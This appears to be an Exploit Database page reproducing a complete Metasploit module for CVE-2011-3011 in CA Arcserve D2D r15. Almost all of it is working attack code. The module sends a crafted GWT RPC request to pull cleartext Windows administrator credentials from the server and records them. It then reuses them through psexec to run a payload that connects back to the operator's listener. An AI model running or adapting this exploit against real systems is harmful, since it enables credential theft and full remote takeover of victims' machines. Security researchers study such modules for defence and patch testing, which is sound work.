CA Arcserve D2D – GWT RPC Credential Information Disclosure (Metasploit)

• Exploit Database
• 92 阅读

• 作者： Metasploit
  日期： 2011-07-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/41707/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'CA Arcserve D2D GWT RPC Credential Information Disclosure',
  'Description'=> %q{
  This module exploits an information disclosure vulnerability in the CA Arcserve
  D2D r15 web server. The information disclosure can be triggered by sending a
  specially crafted RPC request to the homepage servlet. This causes CA Arcserve to
  disclosure the username and password in cleartext used for authentication. This
  username and password pair are Windows credentials with Administrator access.
  },
  'Author' =>
  [
  'bannedit', # metasploit module
  'rgod', # original public exploit
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'CVE', '2011-3011' ],
  [ 'OSVDB', '74162' ],
  [ 'EDB', '17574' ]
  ],
  'DefaultOptions' =>
  {
  'EXITFUNC' => 'process'
  },
  'Privileged' => true,
  'Payload'=>
  {
  'Space'=> 1000,
  'BadChars' => "\x00\x0d\x0a"
  },
  'Platform' => 'win',
  'Targets'=>
  [
  [ 'Automatic', { } ],
  ],
  'DisclosureDate' => 'Jul 25 2011',
  'DefaultTarget' => 0))
  
  
  register_options(
  [
  Opt::RPORT(8014),
  ], self.class )
  end
  
  def report_cred(opts)
  service_data = {
  address: opts[:ip],
  port: opts[:port],
  service_name: opts[:service_name],
  protocol: 'tcp',
  workspace_id: myworkspace_id
  }
  
  credential_data = {
  module_fullname: fullname,
  post_reference_name: self.refname,
  private_data: opts[:password],
  origin_type: :service,
  private_type: :password,
  username: opts[:user]
  }.merge(service_data)
  
  login_data = {
  core: create_credential(credential_data),
  status: opts[:status],
  last_attempted_at: DateTime.now
  }.merge(service_data)
  
  create_credential_login(login_data)
  end
  
  def exploit
  print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
  
  data= "5|0|4|"
  data << "http://#{datastore['RHOST']}:#{datastore['RPORT']}"
  data << "/contents/"
  data << "|2C6B33BED38F825C48AE73C093241510|"
  data << "com.ca.arcflash.ui.client.homepage.HomepageService"
  data << "|getLocalHost|1|2|3|4|0|"
  
  cookie = "donotshowgettingstarted=%7B%22state%22%3Atrue%7D"
  
  res = send_request_raw({
  'uri' => '/contents/service/homepage',
  'version' => '1.1',
  'method'=> 'POST',
  'cookie'=> cookie,
  'data'=> data,
  'headers' =>
  {
  'Content-Type'=> "text/x-gwt-rpc; charset=utf-8",
  'Content-Length' => data.length
  }
  }, 5)
  
  if not res
  fail_with(Failure::NotFound, 'The server did not respond to our request')
  end
  
  resp = res.to_s.split(',')
  
  user_index = resp.index("\"user\"")
  pass_index = resp.index("\"password\"")
  
  if user_index.nil? and pass_index.nil?
  # Not a vulnerable server (blank user/pass doesn't help us)
  fail_with(Failure::NotFound, 'The server did not return credentials')
  end
  
  user = resp[user_index+1].gsub(/\"/, "")
  pass = ""
  
  if pass_index
  pass = resp[pass_index+1].gsub(/\"/, "")
  end
  
  srvc = {
  :host => datastore['RHOST'],
  :port => datastore['RPORT'],
  :proto=> 'tcp',
  :name => 'http',
  :info => res.headers['Server'] || ""
  }
  report_service(srvc)
  if user.nil? or pass.nil?
  print_error("Failed to collect the username and password")
  return
  end
  
  print_good("Collected credentials User: '#{user}' Password: '#{pass}'")
  
  # try psexec on the remote host
  psexec = framework.exploits.create("windows/smb/psexec")
  psexec.register_parent(self)
  
  psexec.datastore['PAYLOAD'] = self.datastore['PAYLOAD']
  
  if self.datastore['LHOST'] and self.datastore['LPORT']
  psexec.datastore['LHOST'] = self.datastore['LHOST']
  psexec.datastore['LPORT'] = self.datastore['LPORT']
  end
  
  psexec.datastore['RHOST'] = self.datastore['RHOST']
  
  psexec.datastore['DisablePayloadHandler'] = true
  psexec.datastore['SMBPass'] = pass
  psexec.datastore['SMBUser'] = user
  
  print_status("Attempting to login via windows/smb/psexec")
  
  # this is kind of nasty would be better to split psexec code out to a mixin (on the TODO List)
  begin
  psexec.exploit_simple(
  'LocalInput'=> self.user_input,
  'LocalOutput' => self.user_output,
  'Payload'=> psexec.datastore['PAYLOAD'],
  'RunAsJob' => true
  )
  rescue
  report_cred(
  ip: datastore['RHOST'],
  port: 445,
  service_name: 'smb',
  user: user,
  password: pass,
  status: Metasploit::Model::Login::Status::INCORRECT
  )
  
  print_status("Login attempt using windows/smb/psexec failed")
  print_status("Credentials have been stored and may be useful for authentication against other services.")
  # report the auth
  return
  end
  
  # report the auth
  report_cred(
  ip: datastore['RHOST'],
  port: 445,
  service_name: 'smb',
  user: user,
  password: pass,
  status: Metasploit::Model::Login::Status::SUCCESSFUL
  )
  
  handler
  end
  end
  

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